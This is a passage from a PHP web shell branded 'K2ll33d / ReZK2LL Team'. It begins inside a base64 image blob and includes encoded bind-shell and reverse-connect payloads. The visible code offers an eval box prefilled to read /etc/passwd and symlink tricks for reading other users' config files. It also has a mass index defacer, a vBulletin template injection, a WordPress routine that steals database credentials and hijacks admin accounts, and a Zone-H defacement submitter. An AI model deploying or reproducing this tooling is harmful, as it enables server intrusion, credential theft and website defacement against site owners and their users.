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';
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
?><html><head><link href='data:image/x-icon;<?php echo $tunisia;?>' rel='icon' type='image/x-icon' /><title>:: k2ll33d ::</title>
<link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
<script type="text/javascript">
function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';}
</script><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'><style>
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #4C83AF; padding:4px 2px;width:70%;line-height:24px;}.myboxtbl{ width:50%; }body{background:#010101;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-LEFT:1px solid #ffffff;border-RIGHT:1px solid #ffffff;font-family:verdana;}input{background:#111111;border:1;padding:2px;border-bottom:1px solid #222222;border-top:1px solid #222222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f;}  .inputz{  background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #444444;}  .inputzbut:hover{border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:1px solid #333333;padding:0 8px;line-height:24px;color:#999999;} .explore th{padding:3px 8px;font-weight:normal;color:#999999;} .explore th:hover , .phpinfo th:hover{border-bottom:1px solid red;} .explore tr:hover{background:#333333;} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} #menu{font-family:orbitron;background: #111111;margin:5px 2px 4px 2px;} #menu a{text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;font-family:orbitron;padding:4px 6px;margin:0;background:#666666;text-decoration:none;letter-spacing:1px;color:#ffffff;} #menu a:hover{font-family:orbitron;background:#191919;border-bottom:1px solid #444444;border-top:1px solid #444444;color:#cecece;}k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#ffffff;}</style><body onLoad="document.getElementById('cmd').focus();"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl">
<?php echo (base64_decode('PGgxPjxhPmsgMiBsIGwgMyAzIGQmbmJzcDsmbmJzcDtTIGggZSBsIGw8L2E+PC9oMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs='));?><div id="menu"><a href="?<?php echo "y=".$pwd;?>&amp;x=about">About Me</a></div>
</td></tr></table></td><td class="top" width='60%'><?php echo $buff;?></td>&nbsp;&nbsp;<td style="width:30%;"><a>server ip :<?php echo $server_ip."<font color='red'><br><br></font> your ip : ".$my_ip."<br></a>";?><br><div id="menu"><a href="?">Home</a></div></td></tr></table></div>
<div id="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?>&amp;x=sym">Sym</a><a href="?<?php echo "y=".$pwd;?>&amp;x=netsploit">Tools</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">phpinfo</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><a href="?<?php echo "y=".$pwd;?>&amp;x=joomla">Joomla</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wordpress">Wordpress</a><a href="?<?php echo "y=".$pwd;?>&amp;x=vb">Vb</a><a href="?<?php echo "y=".$pwd;?>&amp;x=domains">Domains</a><a href="?<?php echo "y=".$pwd;?>&amp;x=string">String</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wm">Wp Mass</a></div>
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
<?php if(isset($_POST['submitcmd'])) {echo eval(magicboom($_POST['cmd']));}else echo "echo file_get_contents('/etc/passwd');";?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){echo '<center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><br><center><k>Web Shell By K2ll33d<br><br><br>Mail:&nbsp;<a href=mailto:k2ll33d@live.fr>k2ll33d [at] live.fr</a><br><br><a href="https://facebook.com/k2ll33d" target="_blank">Facebook</a>&nbsp;<a href="http://zone-h.org/archive/notifier=ReZK2LL" target="_blank">Zone-H</a></k></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sym')){@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);$htaccess  = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$op =@fopen ('sym/.htaccess','w');fwrite($op ,$htaccess);echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';$target = $_POST['file'];$symfile = $_POST['symfile'];$symlink = $_POST['symlink'];if ($symlink) {@symlink("$target","sym/$symfile");echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><center>';}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){error_reporting(0);?><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method=post><p align="center"><h2>Folder</h2><input class ='inputz' typ=text name=path size=60 value="<?php echo getcwd();?>"><br><h2>file name</h2><input class ='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Index code </h3><textarea class ='inputz' name=index rows=10 cols=40>hacked By ReZK2LL Team</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb')) {if(empty($_POST['index'])){echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By ReZK2LL Team</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$perfix = $_POST['perfix'];$index = $_POST['index'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$index=str_replace("\'","'",$index);$set_index  = "{\${eval(base64_decode(\'";$set_index .= base64_encode("echo '$index';");$set_index .= "\'))}}{\${exit()}}</textarea>";$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());if($ok){echo "Defaced<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wm')){ini_set("display_errors", "0");set_time_limit(0);@session_start();$base_path = dirname(__FILE__).'/';function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br>";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Successful Login<br>";} else {$output.= "[+] Successful Login<br>";}$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php Opened<br>";}else {$output.= "[-] index.php Unable to open<br>";}$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');$cond = 0;if($pos === false){$output.= "[-] index.php Failed<br>";} else {$output.= "[+] index.php Failed+<br>";$cond = 1;}} else {$output.= "[-] DB Error<br>";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total Websites: $numero_dominios <br><br>";$def = file_get_contents($def_url);$def = urlencode($def);$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st;$i <= $numero_dominios;$i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']){echo '<td align="center"><span class="green">HACKED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">unsuccessful</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br>';echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';}echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/k2ll33d" target="_blank"><h3 style="text-align: center;">'.base64_decode('azJsbDMzZA==').'</h3></a></div><div>';if(!isset($_POST['form_action'])){echo '<div align="center"><center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';}echo '<div align="center">';if($_POST['form_action'] == 1) {exec_mode_1($_POST['indexadresi']);}echo '</div></div></body></html>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){$defacer='ReZK2LL';$display_details=0;$method=14;$reason=5;
error_reporting(0);set_time_limit(0);if(!function_exists('curl_init')){echo "CURL ERROR\n";exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);if(!file_exists($file)){echo "<br><br><center><h1>error !</h1></center>\n";exit;}}else{if(function_exists(apache_setenv)){@apache_setenv('no-gzip', 1);}@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST['domains'])){$sites=explode("\n",$_POST['domains']);}if (file_exists($_FILES["file"]["tmp_name"])){$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
if(!isset($_POST['defacer'])){
echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
}
